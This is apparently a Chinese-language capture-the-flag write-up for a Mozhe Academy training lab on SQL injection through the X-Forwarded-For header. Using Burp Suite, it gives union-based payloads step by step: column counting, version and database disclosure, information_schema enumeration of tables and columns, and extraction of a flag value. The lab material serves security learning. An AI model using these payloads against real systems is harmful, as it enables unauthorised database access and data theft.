墨者学院-在线靶场-HTTP头注入漏洞测试(X-Forwarded-for)
墨者学院-在线靶场-HTTP头注入漏洞测试(X-Forwarded-for)
首先题目提示
XFF注入,大致思路为Burp抓包添加XFF请求头进行注入。
启动靶场
点击进入墨者的任性网页

Burpsuite抓包,放进Repeater
先GO一下

在请求头中添加X-Forwarded-For
试了试 ‘、and 1=1 、 and 1=2
当改为or 1=1时,提示语法错误


继续,union注入步骤
order by 5显示未知字段,order by 4返回正常
得到数据库中的字段数

union select 1,2,3,4
看回显点,多了一行商品,名称,价格,数量分别为2,3,4


爆数据库版本和数据库名
union select 1,2,version(),database()


union select 1,2,(select table_name from information_schema.tables where table_schema = 'pentesterlab' limit 0,1),database()
第一个表名为comment
union select 1,2,(select table_name from information_schema.tables where table_schema = 'pentesterlab' limit 1,1),database()


第二个表名为flag,应该是这个表了。
继续
union select 1,2,(select column_name from information_schema.columns where table_name = 'flag' limit 0,1),database()
第一个字段名为id,再试试第二个
union select 1,2,(select column_name from information_schema.columns where table_name = 'flag' limit 1,1),database()

flag应该就在这个字段中
union select 1,2,(select flag from pentesterlab.flag limit 0,1),database()
得到flag

验证flag,得到key。


评论
